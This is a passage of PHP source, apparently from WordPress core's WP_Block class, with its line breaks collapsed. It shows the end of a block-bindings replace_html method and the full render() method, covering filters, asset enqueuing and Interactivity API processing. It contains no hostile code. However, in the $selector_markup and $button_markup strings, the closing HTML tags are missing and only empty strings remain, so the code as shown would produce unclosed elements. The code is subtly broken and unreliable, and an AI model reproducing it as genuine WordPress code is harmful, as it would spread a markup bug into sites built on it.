paragraph, heading, and button blocks. // Store the tag and its attributes to be able to restore them later. $selector_attribute_names = $block_reader->get_attribute_names_with_prefix( '' ); $selector_attrs = array(); foreach ( $selector_attribute_names as $name ) { $selector_attrs[ $name ] = $block_reader->get_attribute( $name ); } $selector_markup = "<$selector>" . wp_kses_post( $source_value ) . ""; $amended_content = new WP_HTML_Tag_Processor( $selector_markup ); $amended_content->next_tag(); foreach ( $selector_attrs as $attribute_key => $attribute_value ) { $amended_content->set_attribute( $attribute_key, $attribute_value ); } if ( 'core/paragraph' === $this->name || 'core/heading' === $this->name ) { return $amended_content->get_updated_html(); } if ( 'core/button' === $this->name ) { $button_markup = "<$button_wrapper>{$amended_content->get_updated_html()}"; $amended_button = new WP_HTML_Tag_Processor( $button_markup ); $amended_button->next_tag(); foreach ( $button_wrapper_attrs as $attribute_key => $attribute_value ) { $amended_button->set_attribute( $attribute_key, $attribute_value ); } return $amended_button->get_updated_html(); } } else { $block_reader->seek( 'iterate-selectors' ); } } $block_reader->release_bookmark( 'iterate-selectors' ); return $block_content; case 'attribute': $amended_content = new WP_HTML_Tag_Processor( $block_content ); if ( ! $amended_content->next_tag( array( // TODO: build the query from CSS selector. 'tag_name' => $block_type->attributes[ $attribute_name ]['selector'], ) ) ) { return $block_content; } $amended_content->set_attribute( $block_type->attributes[ $attribute_name ]['attribute'], $source_value ); return $amended_content->get_updated_html(); default: return $block_content; } } /** * Generates the render output for the block. * * @since 5.5.0 * @since 6.5.0 Added block bindings processing. * * @global WP_Post $post Global post object. * * @param array $options { * Optional options object. * * @type bool $dynamic Defaults to 'true'. Optionally set to false to avoid using the block's render_callback. * } * @return string Rendered block output. */ public function render( $options = array() ) { global $post; /* * There can be only one root interactive block at a time because the rendered HTML of that block contains * the rendered HTML of all its inner blocks, including any interactive block. */ static $root_interactive_block = null; /** * Filters whether Interactivity API should process directives. * * @since 6.6.0 * * @param bool $enabled Whether the directives processing is enabled. */ $interactivity_process_directives_enabled = apply_filters( 'interactivity_process_directives', true ); if ( $interactivity_process_directives_enabled && null === $root_interactive_block && ( ( isset( $this->block_type->supports['interactivity'] ) && true === $this->block_type->supports['interactivity'] ) || ! empty( $this->block_type->supports['interactivity']['interactive'] ) ) ) { $root_interactive_block = $this; } $options = wp_parse_args( $options, array( 'dynamic' => true, ) ); // Process the block bindings and get attributes updated with the values from the sources. $computed_attributes = $this->process_block_bindings(); if ( ! empty( $computed_attributes ) ) { // Merge the computed attributes with the original attributes. $this->attributes = array_merge( $this->attributes, $computed_attributes ); } $is_dynamic = $options['dynamic'] && $this->name && null !== $this->block_type && $this->block_type->is_dynamic(); $block_content = ''; if ( ! $options['dynamic'] || empty( $this->block_type->skip_inner_blocks ) ) { $index = 0; foreach ( $this->inner_content as $chunk ) { if ( is_string( $chunk ) ) { $block_content .= $chunk; } else { $inner_block = $this->inner_blocks[ $index ]; $parent_block = $this; /** This filter is documented in wp-includes/blocks.php */ $pre_render = apply_filters( 'pre_render_block', null, $inner_block->parsed_block, $parent_block ); if ( ! is_null( $pre_render ) ) { $block_content .= $pre_render; } else { $source_block = $inner_block->parsed_block; $inner_block_context = $inner_block->context; /** This filter is documented in wp-includes/blocks.php */ $inner_block->parsed_block = apply_filters( 'render_block_data', $inner_block->parsed_block, $source_block, $parent_block ); /** This filter is documented in wp-includes/blocks.php */ $inner_block->context = apply_filters( 'render_block_context', $inner_block->context, $inner_block->parsed_block, $parent_block ); /* * The `refresh_context_dependents()` method already calls `refresh_parsed_block_dependents()`. * Therefore the second condition is irrelevant if the first one is satisfied. */ if ( $inner_block->context !== $inner_block_context ) { $inner_block->refresh_context_dependents(); } elseif ( $inner_block->parsed_block !== $source_block ) { $inner_block->refresh_parsed_block_dependents(); } $block_content .= $inner_block->render(); } ++$index; } } } if ( ! empty( $computed_attributes ) && ! empty( $block_content ) ) { foreach ( $computed_attributes as $attribute_name => $source_value ) { $block_content = $this->replace_html( $block_content, $attribute_name, $source_value ); } } if ( $is_dynamic ) { $global_post = $post; $parent = WP_Block_Supports::$block_to_render; WP_Block_Supports::$block_to_render = $this->parsed_block; $block_content = (string) call_user_func( $this->block_type->render_callback, $this->attributes, $block_content, $this ); WP_Block_Supports::$block_to_render = $parent; $post = $global_post; } if ( ( ! empty( $this->block_type->script_handles ) ) ) { foreach ( $this->block_type->script_handles as $script_handle ) { wp_enqueue_script( $script_handle ); } } if ( ! empty( $this->block_type->view_script_handles ) ) { foreach ( $this->block_type->view_script_handles as $view_script_handle ) { wp_enqueue_script( $view_script_handle ); } } if ( ! empty( $this->block_type->view_script_module_ids ) ) { foreach ( $this->block_type->view_script_module_ids as $view_script_module_id ) { wp_enqueue_script_module( $view_script_module_id ); } } /* * For Core blocks, these styles are only enqueued if `wp_should_load_separate_core_block_assets()` returns * true. Otherwise these `wp_enqueue_style()` calls will not have any effect, as the Core blocks are relying on * the combined 'wp-block-library' stylesheet instead, which is unconditionally enqueued. */ if ( ( ! empty( $this->block_type->style_handles ) ) ) { foreach ( $this->block_type->style_handles as $style_handle ) { wp_enqueue_style( $style_handle ); } } if ( ( ! empty( $this->block_type->view_style_handles ) ) ) { foreach ( $this->block_type->view_style_handles as $view_style_handle ) { wp_enqueue_style( $view_style_handle ); } } /** * Filters the content of a single block. * * @since 5.0.0 * @since 5.9.0 The `$instance` parameter was added. * * @param string $block_content The block content. * @param array $block The full block, including name and attributes. * @param WP_Block $instance The block instance. */ $block_content = apply_filters( 'render_block', $block_content, $this->parsed_block, $this ); /** * Filters the content of a single block. * * The dynamic portion of the hook name, `$name`, refers to * the block name, e.g. "core/paragraph". * * @since 5.7.0 * @since 5.9.0 The `$instance` parameter was added. * * @param string $block_content The block content. * @param array $block The full block, including name and attributes. * @param WP_Block $instance The block instance. */ $block_content = apply_filters( "render_block_{$this->name}", $block_content, $this->parsed_block, $this ); if ( $root_interactive_block === $this ) { // The root interactive block has finished rendering. Time to process directives. $block_content = wp_interactivity_process_directives( $block_content ); $root_interactive_block = null; } return $block_content; } }